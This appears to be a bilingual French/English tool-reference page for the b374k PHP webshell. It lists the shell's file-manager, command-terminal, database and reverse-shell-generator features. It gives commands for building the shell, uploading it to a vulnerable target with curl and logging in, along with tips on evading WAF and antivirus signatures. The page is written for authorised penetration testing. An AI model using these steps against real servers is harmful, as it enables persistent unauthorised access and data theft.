← retour aux outils back to tools

# b374k

Webshell PHP en un seul fichier avec une interface web : gestionnaire de fichiers, terminal, client de base de données, et plus, pour maintenir l'accès sur des serveurs web compromis. Single-file PHP webshell with a browser-based UI — file manager, terminal, DB client, and more — for maintaining access on compromised web servers.

↗ https://github.com/b374k/b374k

## Overview

b374k is a self-contained PHP webshell packaged as a single obfuscated/password-protected file. Once uploaded to a vulnerable web app (via file upload, LFI-to-RFI, or an admin panel), it provides a graphical file manager, command execution terminal, database client, and network tools directly in the browser — useful during post-exploitation to explore the compromised host without shelling out repeatedly.

## Common Usage

Generate/build a shell with a custom password before deployment

    php build.php -p "MyStrongPass123" -o shell.php

Upload shell.php via the vulnerable upload/LFI vector, then browse to it

    curl -F "file=@shell.php" http://<target>/upload.php

    # Access in browser
    http://<target>/uploads/shell.php
    # Log in with the password set at build time

## Once Authenticated (in-browser features)

- File Manager — browse, edit, upload/download, chmod, rename files
- Terminal — execute OS commands as the web server user
- SQL Client — connect to MySQL/PostgreSQL databases reachable from the host
- Network tools — port scanner, bind/reverse shell generators (Perl/Python/Netcat one-liners)

## Tips

- Always rename the shell and set a strong password before upload — default filenames/passwords are signature-matched by most WAFs and AV
- Traffic to the shell is unencrypted PHP over HTTP by default — tunnel through HTTPS or restrict source IP where possible on an engagement
- Clean up the shell and any artifacts (uploaded files, logs) as part of post-engagement cleanup per the rules of engagement

Help / Man page

    b374k is browser-driven; there is no CLI for shell operation.

    build.php - shell builder (run before deployment)

    Usage:
      php build.php -p <password> -o <output_file> [options]

    Options:
      -p PASSWORD   Set the login password for the shell
      -o FILE       Output path for the built shell file
      -e            Enable extra obfuscation of the output
      -h            Show help

    In-browser panels (after login):
      Explorer   File manager
      Terminal   Command execution
      SQL        Database client
      Network    Port scan / shell generators
      Info       PHP/server environment info

## Vue d’ensemble

b374k est un webshell PHP autonome livré sous forme d’un unique fichier obfusqué et protégé par mot de passe. Une fois uploadé sur une application web vulnérable (via upload de fichier, LFI-vers-RFI, ou un panneau d’administration), il fournit un gestionnaire de fichiers graphique, un terminal d’exécution de commandes, un client de base de données et des outils réseau directement dans le navigateur : utile en post-exploitation pour explorer l’hôte compromis sans avoir à ouvrir un shell à répétition.

## Utilisation courante

    # Générer/construire un shell avec un mot de passe personnalisé avant déploiement
    php build.php -p "MyStrongPass123" -o shell.php

    # Uploader shell.php via le vecteur d'upload/LFI vulnérable, puis y naviguer
    curl -F "file=@shell.php" http://<target>/upload.php

    # Accès dans le navigateur
    http://<target>/uploads/shell.php
    # Se connecter avec le mot de passe défini à la construction

## Une fois authentifié (fonctionnalités in-browser)

- File Manager : parcourir, éditer, uploader/télécharger, chmod, renommer des fichiers
- Terminal : exécuter des commandes OS en tant qu’utilisateur du serveur web
- SQL Client : se connecter aux bases MySQL/PostgreSQL accessibles depuis l’hôte
- Network tools : scanner de ports, générateurs de bind/reverse shell (one-liners Perl/Python/Netcat)

## Conseils

- Renommez toujours le shell et définissez un mot de passe fort avant l’upload : les noms de fichiers et mots de passe par défaut sont reconnus par signature par la plupart des WAF et AV
- Le trafic vers le shell est du PHP en clair sur HTTP par défaut : tunnelez à travers HTTPS ou restreignez l’IP source quand c’est possible sur une mission
- Nettoyez le shell et tous les artefacts (fichiers uploadés, logs) dans le cadre du nettoyage post-mission, selon les règles d’engagement

Aide / Page de manuel

    b374k is browser-driven; there is no CLI for shell operation.

    build.php - shell builder (run before deployment)

    Usage:
      php build.php -p <password> -o <output_file> [options]

    Options:
      -p PASSWORD   Set the login password for the shell
      -o FILE       Output path for the built shell file
      -e            Enable extra obfuscation of the output
      -h            Show help

    In-browser panels (after login):
      Explorer   File manager
      Terminal   Command execution
      SQL        Database client
      Network    Port scan / shell generators
      Info       PHP/server environment info